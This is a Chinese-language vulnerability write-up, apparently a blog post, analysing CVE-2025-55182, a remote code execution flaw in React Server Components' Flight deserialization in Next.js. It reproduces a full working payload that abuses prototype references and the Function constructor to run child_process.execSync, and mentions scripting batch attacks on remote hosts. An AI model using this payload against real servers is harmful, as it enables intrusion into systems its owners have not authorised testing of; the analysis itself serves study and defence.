临沂建网站公司,抚州网站推广,做漫画封面的网站,网站模板 带后台目录
前置知识
漏洞分析
Part1
Part2
Part3
漏洞复现
本地复现
远程复现
其他思考 很好的语言#xff0c;使你的漏洞旋转#x1f602; 前置知识
RSC
RSC#xff08;React Server Components#xff0c;React 服务器组件#xff09;是一种 React 的新型组件模型…目录前置知识漏洞分析Part1Part2Part3漏洞复现本地复现远程复现其他思考很好的语言使你的漏洞旋转前置知识RSCRSCReact Server ComponentsReact 服务器组件是一种 React 的新型组件模型由 Meta团队提出并集成到现代 React 框架如 Next.js中。它的核心目标是将部分组件的渲染工作从客户端转移到服务器端从而提升性能、减少客户端 JavaScript 包体积并增强安全性。从这个角度来看很类似古老的php和jsp不再是从后端取json回前端渲染而是后端处理后直接返回一个html界面thenable当你执行 resolve(x) 时JavaScript 引擎不会直接把 x 当作最终值而是先检查 x 是否是一个 thenable即具有 .then 方法的对象。如果是就一直递归执行下去直到没有then。Flight协议React Flight是一种基于 JavaScript 可序列化格式通常是 JSON-like 的流式文本的组件与数据传输机制主要用于 RSC 场景下在服务器和客户端之间高效传输 UI 结构和数据。一些特殊引用$Chunk 引用Promise→$1$KFormData 引用FormData→$K1$BBlob 引用Blob→$B1漏洞分析Part1RSC根据 Content-Typemultipart/form-data 或其他选择相应的解码器multipart/form-data 使用 decodeReplyFromBusboy这段代码使用 Busboy 解析 multipart 表单流含文件和字段将其转换为 React Flight 协议可消费的内部响应对象并返回一个 Promise 以获取最终解析结果用于支持 Server Actions 中的文件上传。busboy 的事件监听器收到数据修改时就会自动触发 resoveField()最终getChunk返回一个Chunk关注resolveField() 内部调用resolveModelChunk()resolveModelChunk内部调用initializeModelChunk来看initializeModelChunk实现对chunk.value进行json反序列化然后将反序列化后的值作为value传给reviveModel调用reviveModel调用parseModelString其实就是根据Flight协议去对特殊符号解引用算是某种意义上的“反序列化”Part2再来看Chunk.prototype.then的实现当status为resolved_model时调用我们熟悉的initializeModelChunk去根据Flight协议“反序列化”和Part1的流程一样不赘述Part3来对照payload看共涉及三次解析payload用的https://github.com/msanft/CVE-2025-55182注意首先要用Next-Action去指定为Server Action请求这里$1被指向了$0也就是name0的Chunk引用第一次解析{then: $1:__proto__:then, status: resolved_model, reason: -1, value: {\then\: \$B0\}, _response: {_prefix: var res process.mainModule.require(child_process).execSync(whoami,{timeout:5000}).toString().trim(); throw Object.assign(new Error(NEXT_REDIRECT), {digest:${res}});, _formData: {get: $1:constructor:constructor}}}$1:__proto__:then被解析为Chunk.prototype.then$1:constructor:constructor被解析为Function构造方法理解很直观chunk的构造方法本身是个方法所有方法的构造方法都是Function最终被解析为{then: Chunk.prototype.then, status: resolved_model, reason: -1, value: {\then\: \$B0\}, _response: {_prefix: var res process.mainModule.require(child_process).execSync(whoami,{timeout:5000}).toString().trim(); throw Object.assign(new Error(NEXT_REDIRECT), {digest:${res}});, _formData: {get: Function}}}第二次解析{then: Chunk.prototype.then, status: resolved_model, reason: -1, value: {\then\: \$B0\}, _response: {_prefix: var res process.mainModule.require(child_process).execSync(whoami,{timeout:5000}).toString().trim(); throw Object.assign(new Error(NEXT_REDIRECT), {digest:${res}});, _formData: {get: Function}}}调用Chunk.prototype.then这里重点来看$B是怎么处理的其实就是对传入的数从16进制转成10进制再与prefix拼接而传入的prefix是一段恶意代码var res process.mainModule.require(child_process).execSync(whoami,{timeout:5000}).toString().trim(); throw Object.assign(new Error(NEXT_REDIRECT), {digest:${res}});传入的_formData.get也被污染为了Function构造方法Function(var res process.mainModule.require(child_process).execSync(whoami,{timeout:5000}).toString().trim(); throw Object.assign(new Error(NEXT_REDIRECT), {digest:${res}});0)解析成一个恶意匿名函数function anonymous(){var res process.mainModule.require(child_process).execSync(whoami,{timeout:5000}).toString().trim(); throw Object.assign(new Error(NEXT_REDIRECT), {digest:${res}});0}最终整体被解析为{then: function anonymous(){var res process.mainModule.require(child_process).execSync(whoami,{timeout:5000}).toString().trim(); throw Object.assign(new Error(NEXT_REDIRECT), {digest:${res}});0}, status: fulfilled, reason: -1, value: {\then\: function anonymous(){var res process.mainModule.require(child_process).execSync(whoami,{timeout:5000}).toString().trim(); throw Object.assign(new Error(NEXT_REDIRECT), {digest:${res}});0}}, _response: {_prefix: var res process.mainModule.require(child_process).execSync(whoami,{timeout:5000}).toString().trim(); throw Object.assign(new Error(NEXT_REDIRECT), {digest:${res}});, _formData: {get: Function}}}第三次解析此时发现还有then就去执行then里的恶意匿名函数从而达成RCE漏洞复现pochttps://github.com/msanft/CVE-2025-55182本地复现npm create next-app16.0.6cd test npm run dev搭建好的首页远程复现写个批量脚本远程抓一个打一下其他思考其实对then的赋值用不用prototype/__proto__都行因为chunk.then全局没有定义自然会去找其原型类的then方法调用